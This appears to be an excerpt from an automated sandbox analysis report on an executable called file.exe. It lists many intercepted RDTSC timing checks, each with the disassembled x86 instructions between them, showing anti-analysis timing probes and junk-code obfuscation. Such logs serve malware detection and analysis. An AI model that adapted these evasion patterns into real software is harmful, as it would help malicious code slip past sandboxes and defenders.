Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62C61 second address: E62C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEF0C869B76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62F34 second address: E62F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62F38 second address: E62F3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62F3E second address: E62F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62F42 second address: E62F7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B82h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007FEF0C869B8Bh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ecx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62F7B second address: E62F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FEF0CF037B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E34260 second address: E34264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63ABD second address: E63AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEF0CF037B6h 0x0000000a pop edi 0x0000000b jp 00007FEF0CF037B8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63AD0 second address: E63AD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63AD6 second address: E63ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63ADC second address: E63AE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E663FD second address: E66402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66402 second address: E66423 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEF0C869B7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FEF0C869B7Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66423 second address: E66428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AD32 second address: E3AD38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E327CB second address: E327F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BDh 0x00000007 jmp 00007FEF0CF037C7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push esi 0x00000010 pop esi 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E327F9 second address: E32837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FEF0C869B76h 0x00000009 jmp 00007FEF0C869B82h 0x0000000e jo 00007FEF0C869B76h 0x00000014 jmp 00007FEF0C869B88h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E32837 second address: E3283D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3283D second address: E32841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F446 second address: E6F44A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F6C0 second address: E6F6D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FEF0C869B82h 0x0000000c jg 00007FEF0C869B76h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E728B9 second address: E728CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnp 00007FEF0CF037B6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E728CD second address: E728DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edi 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E728DF second address: E72920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 je 00007FEF0CF037C0h 0x0000000e pushad 0x0000000f jng 00007FEF0CF037B6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push ebx 0x0000001d pushad 0x0000001e push edi 0x0000001f pop edi 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 pop ebx 0x00000024 pop eax 0x00000025 xor edi, dword ptr [ebp+122D3857h] 0x0000002b call 00007FEF0CF037B9h 0x00000030 pushad 0x00000031 jl 00007FEF0CF037B8h 0x00000037 push esi 0x00000038 pop esi 0x00000039 push eax 0x0000003a push edx 0x0000003b push ecx 0x0000003c pop ecx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73524 second address: E7352E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEF0C869B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73600 second address: E73604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7368B second address: E736A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEF0C869B83h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73785 second address: E7378B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7378B second address: E7379E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73AB8 second address: E73ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73ABC second address: E73AC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73AC2 second address: E73AD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEF0CF037C2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7402A second address: E740A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007FEF0C869B88h 0x0000000c push ebx 0x0000000d jc 00007FEF0C869B76h 0x00000013 pop ebx 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007FEF0C869B78h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 mov esi, dword ptr [ebp+122D311Ch] 0x00000036 add dword ptr [ebp+122D2C93h], ebx 0x0000003c push 00000000h 0x0000003e jp 00007FEF0C869B7Ch 0x00000044 mov edi, dword ptr [ebp+122D1ED8h] 0x0000004a push 00000000h 0x0000004c mov si, bx 0x0000004f push eax 0x00000050 push ecx 0x00000051 pushad 0x00000052 ja 00007FEF0C869B76h 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7491F second address: E74923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75BFD second address: E75C04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E779EB second address: E77A77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FEF0CF037C8h 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 and edi, 31991500h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FEF0CF037B8h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007FEF0CF037B8h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 mov esi, 5689B7F9h 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78F8B second address: E78F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76DE1 second address: E76DEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FEF0CF037B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78F91 second address: E78F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E78F96 second address: E78F9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76DEC second address: E76DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7E822 second address: E7E861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FEF0CF037B6h 0x00000009 jmp 00007FEF0CF037BFh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 sbb di, 81DEh 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a mov dword ptr [ebp+122D2BE4h], esi 0x00000020 pop edi 0x00000021 jc 00007FEF0CF037BCh 0x00000027 or dword ptr [ebp+122D1E86h], edx 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 push ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 push edi 0x00000034 pop edi 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7BCD4 second address: E7BCD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7DC2F second address: E7DC36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7BCD8 second address: E7BCE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7BCE2 second address: E7BCE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7BCE6 second address: E7BCEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E809C7 second address: E80A6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FEF0CF037C4h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e xor dword ptr [ebp+124419E6h], esi 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007FEF0CF037B8h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000016h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c add dword ptr [ebp+124595BCh], eax 0x00000042 mov eax, dword ptr [ebp+122D13A1h] 0x00000048 and bh, FFFFFFF1h 0x0000004b mov dword ptr [ebp+122D26A8h], edi 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push ebp 0x00000056 call 00007FEF0CF037B8h 0x0000005b pop ebp 0x0000005c mov dword ptr [esp+04h], ebp 0x00000060 add dword ptr [esp+04h], 00000017h 0x00000068 inc ebp 0x00000069 push ebp 0x0000006a ret 0x0000006b pop ebp 0x0000006c ret 0x0000006d mov edi, 07493DEFh 0x00000072 push eax 0x00000073 pushad 0x00000074 push edi 0x00000075 jmp 00007FEF0CF037C7h 0x0000007a pop edi 0x0000007b push ecx 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8284E second address: E82854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82854 second address: E828F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FEF0CF037B8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007FEF0CF037B8h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 0000001Dh 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f sbb edi, 1985A403h 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007FEF0CF037B8h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 0000001Ch 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 mov ebx, edx 0x00000063 jnp 00007FEF0CF037B9h 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FEF0CF037C4h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E828F2 second address: E828FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FEF0C869B76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E839B0 second address: E839D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEF0CF037C5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E839D0 second address: E839D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E859EF second address: E85A72 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FEF0CF037B8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 clc 0x00000026 mov dword ptr [ebp+12446184h], ebx 0x0000002c jnl 00007FEF0CF037CCh 0x00000032 push 00000000h 0x00000034 mov edi, eax 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007FEF0CF037B8h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 push ecx 0x00000053 add dword ptr [ebp+122DB7BAh], edx 0x00000059 pop ebx 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jbe 00007FEF0CF037B8h 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85A72 second address: E85A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88A3F second address: E88A53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86BCE second address: E86BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86BD2 second address: E86C85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jno 00007FEF0CF037CAh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FEF0CF037B8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 sub ebx, dword ptr [ebp+122D1C52h] 0x0000002e push dword ptr fs:[00000000h] 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007FEF0CF037B8h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f mov di, si 0x00000052 mov ebx, dword ptr [ebp+122D3CD8h] 0x00000058 mov dword ptr fs:[00000000h], esp 0x0000005f sub edi, dword ptr [ebp+122D323Dh] 0x00000065 mov eax, dword ptr [ebp+122D0A3Dh] 0x0000006b sub dword ptr [ebp+122D26C3h], eax 0x00000071 and bl, 00000008h 0x00000074 push FFFFFFFFh 0x00000076 jmp 00007FEF0CF037C9h 0x0000007b nop 0x0000007c pushad 0x0000007d push eax 0x0000007e push edx 0x0000007f pushad 0x00000080 popad 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83B0C second address: E83B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEF0C869B78h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, 2B14144Dh 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FEF0C869B78h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 or dword ptr [ebp+122D1C5Fh], edi 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 movzx edi, si 0x00000044 mov eax, dword ptr [ebp+122D0BA1h] 0x0000004a push FFFFFFFFh 0x0000004c mov edi, dword ptr [ebp+122D2E34h] 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 push edx 0x00000057 pop edx 0x00000058 jng 00007FEF0C869B76h 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88D23 second address: E88D27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8AE9B second address: E8AEA1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8AEA1 second address: E8AF53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEF0CF037C7h 0x00000008 jbe 00007FEF0CF037B6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 mov ebx, dword ptr [ebp+122D2FB0h] 0x0000001a mov bx, si 0x0000001d push dword ptr fs:[00000000h] 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007FEF0CF037B8h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e js 00007FEF0CF037BCh 0x00000044 mov edi, dword ptr [ebp+122DB735h] 0x0000004a mov dword ptr fs:[00000000h], esp 0x00000051 mov ebx, ecx 0x00000053 mov eax, dword ptr [ebp+122D0E2Dh] 0x00000059 mov bh, AEh 0x0000005b push FFFFFFFFh 0x0000005d push 00000000h 0x0000005f push esi 0x00000060 call 00007FEF0CF037B8h 0x00000065 pop esi 0x00000066 mov dword ptr [esp+04h], esi 0x0000006a add dword ptr [esp+04h], 00000019h 0x00000072 inc esi 0x00000073 push esi 0x00000074 ret 0x00000075 pop esi 0x00000076 ret 0x00000077 mov edi, 125142DAh 0x0000007c nop 0x0000007d push eax 0x0000007e push edx 0x0000007f pushad 0x00000080 jmp 00007FEF0CF037BFh 0x00000085 push eax 0x00000086 push edx 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8AF53 second address: E8AF58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8AF58 second address: E8AF97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007FEF0CF037C9h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8AF97 second address: E8AF9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E95C5F second address: E95C69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2D5A5 second address: E2D5AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2D5AB second address: E2D5B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FEF0CF037B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98CBD second address: E98CC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E728 second address: E9E734 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007FEF0CF037B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E734 second address: E9E738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EECE second address: E9EED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
